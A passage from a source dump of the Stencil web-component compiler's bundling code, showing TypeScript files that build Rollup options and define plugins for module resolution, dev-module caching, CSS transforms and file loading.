*/ export interface BundleOptions { id: string; conditionals?: BuildConditionals; /** * When `true`, all `@stencil/core/*` packages will be treated as external * and omitted from the generated bundle. */ externalRuntime?: boolean; platform: BundlePlatform; /** * A collection of TypeScript transformation factories to apply during the "before" stage of the TypeScript * compilation pipeline (before built-in .js transformations) */ customBeforeTransformers?: TransformerFactory[]; /** * This is equivalent to the Rollup `input` configuration option. It's * an object mapping names to entry points which tells Rollup to bundle * each thing up as a separate output chunk. * * @see {@link https://rollupjs.org/guide/en/#input} */ inputs: { [entryKey: string]: string }; /** * A map of strings which are passed to the Stencil-specific loader plugin * which we use to resolve the imports of Stencil project files when building * with Rollup. * * @see {@link loader-plugin:loaderPlugin} */ loader?: { [id: string]: string }; /** * Duplicate of Rollup's `inlineDynamicImports` output option. * * Creates dynamic imports (i.e. `import()` calls) as a part of the same * chunk being bundled. Rather than being created as separate chunks. * * @see {@link https://rollupjs.org/guide/en/#outputinlinedynamicimports} */ inlineDynamicImports?: boolean; inlineWorkers?: boolean; /** * Duplicate of Rollup's `preserveEntrySignatures` option. * * "Controls if Rollup tries to ensure that entry chunks have the same * exports as the underlying entry module." * * @see {@link https://rollupjs.org/guide/en/#preserveentrysignatures} */ preserveEntrySignatures?: PreserveEntrySignaturesOption; } export type BundlePlatform = 'client' | 'hydrate' | 'worker'; ================================================ FILE: src/compiler/bundle/bundle-output.ts ================================================ import rollupCommonjsPlugin from '@rollup/plugin-commonjs'; import rollupJsonPlugin from '@rollup/plugin-json'; import rollupNodeResolvePlugin from '@rollup/plugin-node-resolve'; import rollupReplacePlugin from '@rollup/plugin-replace'; import { createOnWarnFn, isString, loadRollupDiagnostics } from '@utils'; import { type ObjectHook, PluginContext, rollup, RollupOptions, TreeshakingOptions } from 'rollup'; import type * as d from '../../declarations'; import { lazyComponentPlugin } from '../output-targets/dist-lazy/lazy-component-plugin'; import { appDataPlugin } from './app-data-plugin'; import type { BundleOptions } from './bundle-interface'; import { coreResolvePlugin } from './core-resolve-plugin'; import { devNodeModuleResolveId } from './dev-node-module-resolve'; import { extFormatPlugin } from './ext-format-plugin'; import { extTransformsPlugin } from './ext-transforms-plugin'; import { fileLoadPlugin } from './file-load-plugin'; import { loaderPlugin } from './loader-plugin'; import { pluginHelper } from './plugin-helper'; import { serverPlugin } from './server-plugin'; import { resolveIdWithTypeScript, typescriptPlugin } from './typescript-plugin'; import { userIndexPlugin } from './user-index-plugin'; import { workerPlugin } from './worker-plugin'; export const bundleOutput = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, bundleOpts: BundleOptions, ) => { try { const rollupOptions = getRollupOptions(config, compilerCtx, buildCtx, bundleOpts); const rollupBuild = await rollup(rollupOptions); compilerCtx.rollupCache.set(bundleOpts.id, rollupBuild.cache); return rollupBuild; } catch (e: any) { if (!buildCtx.hasError) { // TODO(STENCIL-353): Implement a type guard that balances using our own copy of Rollup types (which are // breakable) and type safety (so that the error variable may be something other than `any`) loadRollupDiagnostics(config, compilerCtx, buildCtx, e); } } return undefined; }; /** * Build the rollup options that will be used to transpile, minify, and otherwise transform a Stencil project * @param config the Stencil configuration for the project * @param compilerCtx the current compiler context * @param buildCtx a context object containing information about the current build * @param bundleOpts Rollup bundling options to apply to the base configuration setup by this function * @returns the rollup options to be used */ export const getRollupOptions = ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, bundleOpts: BundleOptions, ): RollupOptions => { const nodeResolvePlugin = rollupNodeResolvePlugin({ mainFields: ['collection:main', 'jsnext:main', 'es2017', 'es2015', 'module', 'main'], browser: bundleOpts.platform !== 'hydrate', rootDir: config.rootDir, exportConditions: ['default', 'module', 'import', 'require'], extensions: ['.tsx', '.ts', '.mts', '.cts', '.js', '.mjs', '.cjs', '.json', '.d.ts', '.d.mts', '.d.cts'], ...config.nodeResolve, }); // @ts-expect-error - this is required now. nodeResolvePlugin.resolve = async function () { // Investigate if we can use this to leverage Stencil's in-memory fs }; // @ts-expect-error - this is required now. nodeResolvePlugin.warn = (log) => { const onWarn = createOnWarnFn(buildCtx.diagnostics); if (typeof log === 'string') { onWarn({ message: log }); } else if (typeof log === 'function') { const result = log(); if (typeof result === 'string') { onWarn({ message: result }); } else { onWarn(result); } } else { onWarn(log); } }; assertIsObjectHook(nodeResolvePlugin.resolveId); // remove default 'post' order nodeResolvePlugin.resolveId.order = null; const orgNodeResolveId = nodeResolvePlugin.resolveId.handler; const orgNodeResolveId2 = (nodeResolvePlugin.resolveId.handler = async function (importee: string, importer: string) { const [realImportee, query] = importee.split('?'); const resolved = await orgNodeResolveId.call( nodeResolvePlugin as unknown as PluginContext, realImportee, importer, { attributes: {}, isEntry: true, }, ); if (resolved) { if (isString(resolved)) { return query ? resolved + '?' + query : resolved; } return { ...resolved, id: query ? resolved.id + '?' + query : resolved.id, }; } return resolved; }); if (config.devServer?.experimentalDevModules) { nodeResolvePlugin.resolveId = async function (importee: string, importer: string) { const resolvedId = await orgNodeResolveId2.call( nodeResolvePlugin as unknown as PluginContext, importee, importer, ); return devNodeModuleResolveId(config, compilerCtx.fs, resolvedId, importee); }; } const beforePlugins = config.rollupPlugins.before || []; const afterPlugins = config.rollupPlugins.after || []; const rollupOptions: RollupOptions = { input: bundleOpts.inputs, output: { inlineDynamicImports: bundleOpts.inlineDynamicImports ?? false, }, plugins: [ coreResolvePlugin( config, compilerCtx, bundleOpts.platform, !!bundleOpts.externalRuntime, bundleOpts.conditionals?.lazyLoad ?? false, ), appDataPlugin(config, compilerCtx, buildCtx, bundleOpts.conditionals, bundleOpts.platform), lazyComponentPlugin(buildCtx), loaderPlugin(bundleOpts.loader), userIndexPlugin(config, compilerCtx), typescriptPlugin(compilerCtx, bundleOpts, config), extFormatPlugin(config), extTransformsPlugin(config, compilerCtx, buildCtx), workerPlugin(config, compilerCtx, buildCtx, bundleOpts.platform, !!bundleOpts.inlineWorkers), serverPlugin(config, bundleOpts.platform), ...beforePlugins, nodeResolvePlugin, resolveIdWithTypeScript(config, compilerCtx), rollupCommonjsPlugin({ include: /node_modules/, sourceMap: config.sourceMap, transformMixedEsModules: false, ...config.commonjs, }), ...afterPlugins, pluginHelper(config, buildCtx, bundleOpts.platform), rollupJsonPlugin({ preferConst: true, }), rollupReplacePlugin({ 'process.env.NODE_ENV': config.devMode ? '"development"' : '"production"', preventAssignment: true, }), fileLoadPlugin(compilerCtx.fs), ], treeshake: getTreeshakeOption(config, bundleOpts), preserveEntrySignatures: bundleOpts.preserveEntrySignatures ?? 'strict', onwarn: createOnWarnFn(buildCtx.diagnostics), cache: compilerCtx.rollupCache.get(bundleOpts.id), external: config.rollupConfig.inputOptions.external, maxParallelFileOps: config.rollupConfig.inputOptions.maxParallelFileOps, }; return rollupOptions; }; const getTreeshakeOption = (config: d.ValidatedConfig, bundleOpts: BundleOptions): TreeshakingOptions | boolean => { if (bundleOpts.platform === 'hydrate') { return { propertyReadSideEffects: false, tryCatchDeoptimization: false, }; } const treeshake = !config.devMode && config.rollupConfig.inputOptions.treeshake !== false ? { propertyReadSideEffects: false, tryCatchDeoptimization: false, } : false; return treeshake; }; function assertIsObjectHook(hook: ObjectHook): asserts hook is { handler: T; order?: 'pre' | 'post' | null } { if (typeof hook !== 'object') throw new Error(`expected the rollup plugin hook ${hook} to be an object`); } ================================================ FILE: src/compiler/bundle/constants.ts ================================================ export const DEV_MODULE_CACHE_BUSTER = 0; export const DEV_MODULE_DIR = `~dev-module`; ================================================ FILE: src/compiler/bundle/core-resolve-plugin.ts ================================================ import { isRemoteUrl, join, normalizeFsPath, normalizePath } from '@utils'; import { dirname } from 'path'; import type { Plugin } from 'rollup'; import type * as d from '../../declarations'; import type { BundlePlatform } from './bundle-interface'; import { HYDRATED_CSS } from '../../runtime/runtime-constants'; import { fetchModuleAsync } from '../sys/fetch/fetch-module-async'; import { getStencilModuleUrl, packageVersions } from '../sys/fetch/fetch-utils'; import { APP_DATA_CONDITIONAL, STENCIL_CORE_ID, STENCIL_INTERNAL_CLIENT_ID, STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID, STENCIL_INTERNAL_HYDRATE_ID, STENCIL_INTERNAL_ID, STENCIL_JSX_DEV_RUNTIME_ID, STENCIL_JSX_RUNTIME_ID, } from './entry-alias-ids'; export const coreResolvePlugin = ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, platform: BundlePlatform, externalRuntime: boolean, lazyLoad: boolean, ): Plugin => { const compilerExe = config.sys.getCompilerExecutingPath(); const internalClient = getStencilInternalModule(config, compilerExe, 'client/index.js'); const internalClientPatchBrowser = getStencilInternalModule(config, compilerExe, 'client/patch-browser.js'); const internalHydrate = getStencilInternalModule(config, compilerExe, 'hydrate/index.js'); return { name: 'coreResolvePlugin', resolveId(id) { if (id === STENCIL_CORE_ID || id === STENCIL_INTERNAL_ID) { if (platform === 'client') { if (externalRuntime) { return { id: STENCIL_INTERNAL_CLIENT_ID, external: true, }; } if (lazyLoad) { // with a lazy / dist build, add `?app-data=conditional` as an identifier to ensure we don't // use the default app-data, but build a custom one based on component meta return internalClient + APP_DATA_CONDITIONAL; } // for a non-lazy / dist-custom-elements build, use the default, complete core. // This ensures all features are available for any importer library return internalClient; } if (platform === 'hydrate') { return internalHydrate; } } if (id === STENCIL_INTERNAL_CLIENT_ID) { if (externalRuntime) { // not bundling the client runtime and the user's component together this // must be the custom elements build, where @stencil/core/internal/client // is an import, rather than bundling return { id: STENCIL_INTERNAL_CLIENT_ID, external: true, }; } // importing @stencil/core/internal/client directly, so it shouldn't get // the custom app-data conditionals return internalClient; } if (id === STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID) { if (externalRuntime) { return { id: STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID, external: true, }; } return internalClientPatchBrowser; } if (id === STENCIL_INTERNAL_HYDRATE_ID) { return internalHydrate; } // Handle jsx-runtime and jsx-dev-runtime imports // These must resolve to the same internal client path as @stencil/core // to prevent Rollup from bundling duplicate runtime code with different // minified property names, which causes VNode property mismatches during hydration if (id === STENCIL_JSX_RUNTIME_ID || id === STENCIL_JSX_DEV_RUNTIME_ID) { if (platform === 'client') { if (externalRuntime) { return { id: STENCIL_INTERNAL_CLIENT_ID, external: true, }; } if (lazyLoad) { // with a lazy / dist build, add `?app-data=conditional` as an identifier to ensure we don't // use the default app-data, but build a custom one based on component meta return internalClient + APP_DATA_CONDITIONAL; } // for a non-lazy / dist-custom-elements build, use the default, complete core. return internalClient; } if (platform === 'hydrate') { return internalHydrate; } } return null; }, async load(filePath) { if (filePath && !filePath.startsWith('\0')) { filePath = normalizeFsPath(filePath); if (filePath === internalClient || filePath === internalHydrate) { if (platform === 'worker') { return ` export const Build = { isDev: ${config.devMode}, isBrowser: true, isServer: false, isTesting: false, };`; } let code = await compilerCtx.fs.readFile(filePath); if (typeof code !== 'string' && isRemoteUrl(compilerExe)) { const url = getStencilModuleUrl(compilerExe, filePath); code = await fetchModuleAsync(config.sys, compilerCtx.fs, packageVersions, url, filePath); } if (typeof code === 'string') { const hydratedFlag = config.hydratedFlag; if (hydratedFlag) { const hydratedFlagHead = getHydratedFlagHead(hydratedFlag); if (HYDRATED_CSS !== hydratedFlagHead) { code = code.replace(HYDRATED_CSS, hydratedFlagHead); if (hydratedFlag.name !== 'hydrated') { code = code.replace(`.classList.add("hydrated")`, `.classList.add("${hydratedFlag.name}")`); code = code.replace(`.classList.add('hydrated')`, `.classList.add('${hydratedFlag.name}')`); code = code.replace(`.setAttribute("hydrated",`, `.setAttribute("${hydratedFlag.name}",`); code = code.replace(`.setAttribute('hydrated',`, `.setAttribute('${hydratedFlag.name}',`); } } } else { code = code.replace(HYDRATED_CSS, '{}'); } } return code; } } return null; }, }; }; export const getStencilInternalModule = (config: d.ValidatedConfig, compilerExe: string, internalModule: string) => { if (isRemoteUrl(compilerExe)) { return normalizePath( config.sys.getLocalModulePath({ rootDir: config.rootDir, moduleId: '@stencil/core', path: 'internal/' + internalModule, }), ); } const compilerExeDir = dirname(compilerExe); return normalizePath(join(compilerExeDir, '..', 'internal', internalModule)); }; export const getHydratedFlagHead = (h: d.HydratedFlag) => { // {visibility:hidden}.hydrated{visibility:inherit} let initial: string; let hydrated: string; if (!String(h.initialValue) || h.initialValue === '' || h.initialValue == null) { initial = ''; } else { initial = `{${h.property}:${h.initialValue}}`; } const selector = h.selector === 'attribute' ? `[${h.name}]` : `.${h.name}`; if (!String(h.hydratedValue) || h.hydratedValue === '' || h.hydratedValue == null) { hydrated = ''; } else { hydrated = `${selector}{${h.property}:${h.hydratedValue}}`; } return initial + hydrated; }; ================================================ FILE: src/compiler/bundle/dev-module.ts ================================================ import { generatePreamble, join, relative } from '@utils'; import { basename, dirname } from 'path'; import { OutputOptions, rollup } from 'rollup'; import type * as d from '../../declarations'; import { BuildContext } from '../build/build-ctx'; import { getRollupOptions } from './bundle-output'; import { DEV_MODULE_CACHE_BUSTER, DEV_MODULE_DIR } from './constants'; export const compilerRequest = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, data: d.CompilerRequest, ) => { const results: d.CompilerRequestResponse = { path: data.path, nodeModuleId: null, nodeModuleVersion: null, nodeResolvedPath: null, cachePath: null, cacheHit: false, content: '', status: 404, }; try { const parsedUrl = parseDevModuleUrl(config, data.path); Object.assign(results, parsedUrl); if (parsedUrl.nodeModuleId) { if (!parsedUrl.nodeModuleVersion) { results.content = `/* invalid module version */`; results.status = 400; return results; } if (!parsedUrl.nodeResolvedPath) { results.content = `/* invalid resolved path */`; results.status = 400; return results; } const useCache = await useDevModuleCache(config, parsedUrl.nodeResolvedPath); let cachePath: string = null; if (useCache) { cachePath = getDevModuleCachePath(config, parsedUrl); const cachedContent = await config.sys.readFile(cachePath); if (typeof cachedContent === 'string') { results.content = cachedContent; results.cachePath = cachePath; results.cacheHit = true; results.status = 200; return results; } } await bundleDevModule(config, compilerCtx, parsedUrl, results); if (results.status === 200 && useCache) { results.cachePath = cachePath; writeCachedFile(config, results); } } else { results.content = `/* invalid dev module */`; results.status = 400; return results; } } catch (e: unknown) { if (e) { if (e instanceof Error && e.stack) { results.content = `/*\n${e.stack}\n*/`; } else { results.content = `/*\n${e}\n*/`; } } results.status = 500; } return results; }; const bundleDevModule = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, parsedUrl: ParsedDevModuleUrl, results: d.CompilerRequestResponse, ) => { const buildCtx = new BuildContext(config, compilerCtx); try { const inputOpts = getRollupOptions(config, compilerCtx, buildCtx, { id: parsedUrl.nodeModuleId, platform: 'client', inputs: { index: parsedUrl.nodeResolvedPath, }, }); const rollupBuild = await rollup(inputOpts); const outputOpts: OutputOptions = { banner: generatePreamble(config), format: 'es', }; if (parsedUrl.nodeModuleId) { const commentPath = relative(config.rootDir, parsedUrl.nodeResolvedPath); outputOpts.intro = `/**\n * Dev Node Module: ${parsedUrl.nodeModuleId}, v${parsedUrl.nodeModuleVersion}\n * Entry: ${commentPath}\n * DEVELOPMENT PURPOSES ONLY!!\n */`; inputOpts.input = parsedUrl.nodeResolvedPath; } const r = await rollupBuild.generate(outputOpts); if (buildCtx.hasError) { results.status = 500; results.content = `console.error(${JSON.stringify(buildCtx.diagnostics)})`; } else if (r && r.output && r.output.length > 0) { results.content = r.output[0].code; results.status = 200; } } catch (e) { results.status = 500; const errorMsg = e instanceof Error ? e.stack : e + ''; results.content = `console.error(${JSON.stringify(errorMsg)})`; } }; const useDevModuleCache = async (config: d.ValidatedConfig, p: string) => { if (config.enableCache) { for (let i = 0; i < 10; i++) { const n = basename(p); if (n === 'node_modules') { return true; } const isSymbolicLink = await config.sys.isSymbolicLink(p); if (isSymbolicLink) { return false; } p = dirname(p); } } return false; }; const writeCachedFile = async (config: d.ValidatedConfig, results: d.CompilerRequestResponse) => { try { await config.sys.createDir(config.cacheDir); config.sys.writeFile(results.cachePath, results.content); } catch (e) { console.error(e); } }; const parseDevModuleUrl = (config: d.ValidatedConfig, u: string) => { const parsedUrl: ParsedDevModuleUrl = { nodeModuleId: null, nodeModuleVersion: null, nodeResolvedPath: null, }; if (u && u.includes(DEV_MODULE_DIR) && u.endsWith('.js')) { const url = new URL(u, 'https://stenciljs.com'); let reqPath = basename(url.pathname); reqPath = reqPath.substring(0, reqPath.length - 3); const splt = reqPath.split('@'); if (splt.length === 2) { parsedUrl.nodeModuleId = decodeURIComponent(splt[0]); parsedUrl.nodeModuleVersion = decodeURIComponent(splt[1]); parsedUrl.nodeResolvedPath = url.searchParams.get('p'); if (parsedUrl.nodeResolvedPath) { parsedUrl.nodeResolvedPath = decodeURIComponent(parsedUrl.nodeResolvedPath); parsedUrl.nodeResolvedPath = join(config.rootDir, parsedUrl.nodeResolvedPath); } } } return parsedUrl; }; const getDevModuleCachePath = (config: d.ValidatedConfig, parsedUrl: ParsedDevModuleUrl) => { return join( config.cacheDir, `dev_module_${parsedUrl.nodeModuleId}_${parsedUrl.nodeModuleVersion}_${DEV_MODULE_CACHE_BUSTER}.log`, ); }; interface ParsedDevModuleUrl { nodeModuleId: string; nodeModuleVersion: string; nodeResolvedPath: string; } ================================================ FILE: src/compiler/bundle/dev-node-module-resolve.ts ================================================ import { join, relative } from '@utils'; import { basename, dirname } from 'path'; import { ResolveIdResult } from 'rollup'; import type * as d from '../../declarations'; import { InMemoryFileSystem } from '../sys/in-memory-fs'; import { DEV_MODULE_DIR } from './constants'; export const devNodeModuleResolveId = async ( config: d.ValidatedConfig, inMemoryFs: InMemoryFileSystem, resolvedId: ResolveIdResult, importee: string, ) => { if (!shouldCheckDevModule(resolvedId, importee)) { return resolvedId; } if (typeof resolvedId === 'string' || !resolvedId) { return resolvedId; } const resolvedPath = resolvedId.id; const pkgPath = getPackageJsonPath(resolvedPath, importee); if (!pkgPath) { return resolvedId; } const pkgJsonStr = await inMemoryFs.readFile(pkgPath); if (!pkgJsonStr) { return resolvedId; } let pkgJsonData: d.PackageJsonData; try { pkgJsonData = JSON.parse(pkgJsonStr); } catch (e) {} if (!pkgJsonData || !pkgJsonData.version) { return resolvedId; } resolvedId.id = serializeDevNodeModuleUrl(config, pkgJsonData.name, pkgJsonData.version, resolvedPath); resolvedId.external = true; return resolvedId; }; const shouldCheckDevModule = (resolvedId: ResolveIdResult, importee: string) => resolvedId && importee && typeof resolvedId !== 'string' && resolvedId.id && resolvedId.id.includes('node_modules') && (resolvedId.id.endsWith('.js') || resolvedId.id.endsWith('.mjs')) && !resolvedId.external && !importee.startsWith('.') && !importee.startsWith('/'); const getPackageJsonPath = (resolvedPath: string, importee: string): string => { let currentPath = resolvedPath; for (let i = 0; i < 10; i++) { currentPath = dirname(currentPath); const aBasename = basename(currentPath); const upDir = dirname(currentPath); const bBasename = basename(upDir); if (aBasename === importee && bBasename === 'node_modules') { return join(currentPath, 'package.json'); } } return null; }; const serializeDevNodeModuleUrl = ( config: d.ValidatedConfig, moduleId: string, moduleVersion: string, resolvedPath: string, ) => { resolvedPath = relative(config.rootDir, resolvedPath); let id = `/${DEV_MODULE_DIR}/`; id += encodeURIComponent(moduleId) + '@'; id += encodeURIComponent(moduleVersion) + '.js'; id += '?p=' + encodeURIComponent(resolvedPath); return id; }; ================================================ FILE: src/compiler/bundle/entry-alias-ids.ts ================================================ export const STENCIL_CORE_ID = '@stencil/core'; export const STENCIL_INTERNAL_ID = '@stencil/core/internal'; export const STENCIL_APP_DATA_ID = '@stencil/core/internal/app-data'; export const STENCIL_APP_GLOBALS_ID = '@stencil/core/internal/app-globals'; export const STENCIL_HYDRATE_FACTORY_ID = '@stencil/core/hydrate-factory'; export const STENCIL_INTERNAL_CLIENT_ID = '@stencil/core/internal/client'; export const STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID = '@stencil/core/internal/client/patch-browser'; export const STENCIL_INTERNAL_HYDRATE_ID = '@stencil/core/internal/hydrate'; export const STENCIL_MOCK_DOC_ID = '@stencil/core/mock-doc'; export const STENCIL_JSX_RUNTIME_ID = '@stencil/core/jsx-runtime'; export const STENCIL_JSX_DEV_RUNTIME_ID = '@stencil/core/jsx-dev-runtime'; export const APP_DATA_CONDITIONAL = '?app-data=conditional'; export const LAZY_BROWSER_ENTRY_ID = '@lazy-browser-entrypoint' + APP_DATA_CONDITIONAL; export const LAZY_EXTERNAL_ENTRY_ID = '@lazy-external-entrypoint' + APP_DATA_CONDITIONAL; export const USER_INDEX_ENTRY_ID = '@user-index-entrypoint'; ================================================ FILE: src/compiler/bundle/ext-format-plugin.ts ================================================ import { createJsVarName, normalizeFsPathQuery } from '@utils'; import { basename } from 'path'; import type { Plugin, TransformPluginContext, TransformResult } from 'rollup'; import type * as d from '../../declarations'; export const extFormatPlugin = (config: d.ValidatedConfig): Plugin => { return { name: 'extFormatPlugin', transform(code: string, importPath: string): TransformResult { if (/\0/.test(importPath)) { return null; } const { ext, filePath, format } = normalizeFsPathQuery(importPath); // ?format= param takes precedence before file extension switch (format) { case 'url': return { code: formatUrl(config, this, code, filePath, ext), map: null }; case 'text': return { code: formatText(code, filePath), map: null }; } // didn't provide a ?format= param // check if it's a known extension we should format if (ext != null && FORMAT_TEXT_EXTS.includes(ext)) { return { code: formatText(code, filePath), map: null }; } if (ext != null && FORMAT_URL_MIME[ext]) { return { code: formatUrl(config, this, code, filePath, ext), map: null }; } return null; }, }; }; const FORMAT_TEXT_EXTS = ['txt', 'frag', 'vert']; const FORMAT_URL_MIME: any = { svg: 'image/svg+xml', }; const DATAURL_MAX_IMAGE_SIZE = 4 * 1024; // 4KiB const formatText = (code: string, filePath: string) => { const varName = createJsVarName(basename(filePath)); return `const ${varName} = ${JSON.stringify(code)};export default ${varName};`; }; const formatUrl = ( config: d.ValidatedConfig, pluginCtx: TransformPluginContext, code: string, filePath: string, ext: string | null, ) => { const mime = ext != null ? FORMAT_URL_MIME[ext] : null; if (!mime) { pluginCtx.warn(`Unsupported url format for "${ext}" extension.`); return formatText('', filePath); } const varName = createJsVarName(basename(filePath)); const base64 = config.sys.encodeToBase64(code); if (config.devMode && base64.length > DATAURL_MAX_IMAGE_SIZE) { pluginCtx.warn(`Importing large files will bloat your bundle size, please use external assets instead.`); } return `const ${varName} = 'data:${mime};base64,${base64}';export default ${varName};`; }; ================================================ FILE: src/compiler/bundle/ext-transforms-plugin.ts ================================================ import { hasError, isOutputTargetDistCollection, join, mergeIntoWith, normalizeFsPath, relative } from '@utils'; import type { Plugin } from 'rollup'; import type * as d from '../../declarations'; import { runPluginTransformsEsmImports } from '../plugin/plugin'; import { getScopeId } from '../style/scope-css'; import { parseImportPath } from '../transformers/stencil-import-path'; /** * This keeps a map of all the component styles we've seen already so we can create * a correct state of all styles when we're doing a rebuild. This map helps by * storing the state of all styles as follows, e.g.: * * ``` * { * 'cmp-a-$': { * '/path/to/project/cmp-a.scss': 'button{color:red}', * '/path/to/project/cmp-a.md.scss': 'button{color:blue}' * } * ``` * * Whenever one of the files change, we can propagate a correct concatenated * version of all styles to the browser by setting `buildCtx.stylesUpdated`. */ type ComponentStyleMap = Map; const allCmpStyles = new Map(); /** * A Rollup plugin which bundles up some transformation of CSS imports as well * as writing some files to disk for the `DIST_COLLECTION` output target. * * @param config a user-supplied configuration * @param compilerCtx the current compiler context * @param buildCtx the current build context * @returns a Rollup plugin which carries out the necessary work */ export const extTransformsPlugin = ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, ): Plugin => { return { name: 'extTransformsPlugin', /** * A custom function targeting the `transform` build hook in Rollup. See here for details: * https://rollupjs.org/guide/en/#transform * * Here we are ignoring the first argument (which contains the module's source code) and * only looking at the `id` argument. We use that `id` to get information about the module * in question from disk ourselves so that we can then do some transformations on it. * * @param _ an unused parameter (normally the code for a given module) * @param id the id of a module * @returns metadata for Rollup or null if no transformation should be done */ async transform(_, id) { if (/\0/.test(id)) { return null; } /** * Make sure compiler context has a registered worker. The interface suggests that it * potentially can be undefined, therefore check for it here. */ if (!compilerCtx.worker) { return null; } // The `id` here was possibly previously updated using // `serializeImportPath` to annotate the filepath with various metadata // serialized to query-params. If that was done for this particular `id` // then the `data` prop will not be null. const { data } = parseImportPath(id); if (data != null) { let cmpStyles: ComponentStyleMap | undefined = undefined; let cmp: d.ComponentCompilerMeta | undefined = undefined; const filePath = normalizeFsPath(id); const code = await compilerCtx.fs.readFile(filePath); if (typeof code !== 'string') { return null; } /** * add file to watch list if it is outside of the `srcDir` config path */ if (config.watch && (id.startsWith('/') || id.startsWith('.')) && !id.startsWith(config.srcDir)) { compilerCtx.addWatchFile(id.split('?')[0]); } const pluginTransforms = await runPluginTransformsEsmImports(config, compilerCtx, buildCtx, code, filePath); if (data.tag) { cmp = buildCtx.components.find((c) => c.tagName === data.tag); const moduleFile = cmp && !cmp.isCollectionDependency && compilerCtx.moduleMap.get(cmp.sourceFilePath); if (moduleFile) { const collectionDirs = config.outputTargets.filter(isOutputTargetDistCollection); const relPath = relative(config.srcDir, pluginTransforms.id); // If we found a `moduleFile` in the module map above then we // should write the transformed CSS file (found in the return value // of `runPluginTransformsEsmImports`, above) to disk. await Promise.all( collectionDirs.map(async (outputTarget) => { const collectionPath = join(outputTarget.collectionDir, relPath); await compilerCtx.fs.writeFile(collectionPath, pluginTransforms.code); }), ); } /** * initiate map for component styles */ const scopeId = getScopeId(data.tag, data.mode); if (!allCmpStyles.has(scopeId)) { allCmpStyles.set(scopeId, new Map()); } cmpStyles = allCmpStyles.get(scopeId); } const cssTransformResults = await compilerCtx.worker.transformCssToEsm({ file: pluginTransforms.id, input: pluginTransforms.code, tag: data.tag, tags: buildCtx.components.map((c) => c.tagName), addTagTransformers: !!buildCtx.config.extras.additionalTagTransformers, encapsulation: data.encapsulation, mode: data.mode, sourceMap: config.sourceMap, minify: config.minifyCss, autoprefixer: config.autoprefixCss, docs: config.buildDocs, }); /** * persist component styles for transformed stylesheet */ if (cmpStyles) { cmpStyles.set(filePath, cssTransformResults.styleText); } // Set style docs if (cmp) { cmp.styleDocs ||= []; mergeIntoWith(cmp.styleDocs, cssTransformResults.styleDocs, (docs) => `${docs.name},${docs.mode}`); } // Track dependencies for (const dep of pluginTransforms.dependencies) { this.addWatchFile(dep); compilerCtx.addWatchFile(dep); } buildCtx.diagnostics.push(...pluginTransforms.diagnostics); buildCtx.diagnostics.push(...cssTransformResults.diagnostics); const didError = hasError(cssTransformResults.diagnostics) || hasError(pluginTransforms.diagnostics); if (didError) { this.error('Plugin CSS transform error'); } const hasUpdatedStyle = buildCtx.stylesUpdated.some((s) => { return s.styleTag === data.tag && s.styleMode === data.mode && s.styleText === cssTransformResults.styleText; }); /** * if the style has updated, compose all styles for the component */ if (!hasUpdatedStyle && data.tag && data.mode) { const externalStyles = cmp?.styles?.[0]?.externalStyles; /** * if component has external styles, use a list to keep the order to which * styles are applied. */ const styleText = cmpStyles ? externalStyles ? /** * attempt to find the original `filePath` key through `originalComponentPath` * and `absolutePath` as path can differ based on how Stencil is installed * e.g. through `npm link` or `npm install` */ externalStyles .map((es) => cmpStyles.get(es.originalComponentPath) || cmpStyles.get(es.absolutePath)) .join('\n') : /** * if `externalStyles` is not defined, then created the style text in the * order of which the styles were compiled. */ [...cmpStyles.values()].join('\n') : /** * if `cmpStyles` is not defined, then use the style text from the transform * as it is not connected to a component. */ cssTransformResults.styleText; buildCtx.stylesUpdated.push({ styleTag: data.tag, styleMode: data.mode, styleText, }); } return { code: cssTransformResults.output, map: cssTransformResults.map, moduleSideEffects: false, }; } return null; }, }; }; ================================================ FILE: src/compiler/bundle/file-load-plugin.ts ================================================ import { isDtsFile, normalizeFsPath } from '@utils'; import type { Plugin } from 'rollup'; import { InMemoryFileSystem } from '../sys/in-memory-fs'; export const fileLoadPlugin = (fs: InMemoryFileSystem): Plugin => { return { name: 'fileLoadPlugin', load(id) { const fsFilePath = normalizeFsPath(id); if (isDtsFile(fsFilePath)) { return ''; } return fs.readFile(fsFilePath); }, }; }; ================================================ FILE: src/compiler/bundle/loader-plugin.ts ================================================ import type { LoadResult, Plugin, ResolveIdResult } from 'rollup'; /** * Rollup plugin that aids in resolving the entry points (1 or more files) for a Stencil project. For example, a project * using the `dist-custom-elements` output target may have a single 'entry point' for each file containing a component. * Each of those files will be independently resolved and loaded by this plugin for further processing by Rollup later * in the bundling process. * * @param entries the Stencil project files to process. It should be noted that the keys in this object may not * necessarily be an absolute or relative path to a file, but may be a Rollup Virtual Module (which begin with \0). * @returns the rollup plugin that loads and process a Stencil project's entry points */ export const loaderPlugin = (entries: { [id: string]: string } = {}): Plugin => { return { name: 'stencilLoaderPlugin', /** * A rollup build hook for resolving the imports of individual Stencil project files. This hook only resolves * modules that are contained in the plugin's `entries` argument. [Source](https://rollupjs.org/guide/en/#resolveid) * @param id the importee to resolve * @returns a string that resolves an import to some id, null otherwise */ resolveId(id: string): ResolveIdResult { if (id in entries) { return { id, }; } return null; }, /** * A rollup build hook for loading individual Stencil project files [Source](https://rollupjs.org/guide/en/#load) * @param id the path of the module to load. It should be noted that the keys in this object may not necessarily * be an absolute or relative path to a file, but may be a Rollup Virtual Module. * @returns the module matched, null otherwise */ load(id: string): LoadResult { if (id in entries) { return entries[id]; } return null; }, }; }; ================================================ FILE: src/compiler/bundle/plugin-helper.ts ================================================ import { buildError, relative } from '@utils'; import type * as d from '../../declarations'; import type { BundlePlatform } from './bundle-interface'; export const pluginHelper = (config: d.ValidatedConfig, builtCtx: d.BuildCtx, platform: BundlePlatform) => { return { name: 'pluginHelper', resolveId(importee: string, importer: string): null { if (/\0/.test(importee)) { // ignore IDs with null character, these belong to other plugins return null; } if (importee.endsWith('/')) { importee = importee.slice(0, -1); } if (builtIns.has(importee)) { let fromMsg = ''; if (importer) { 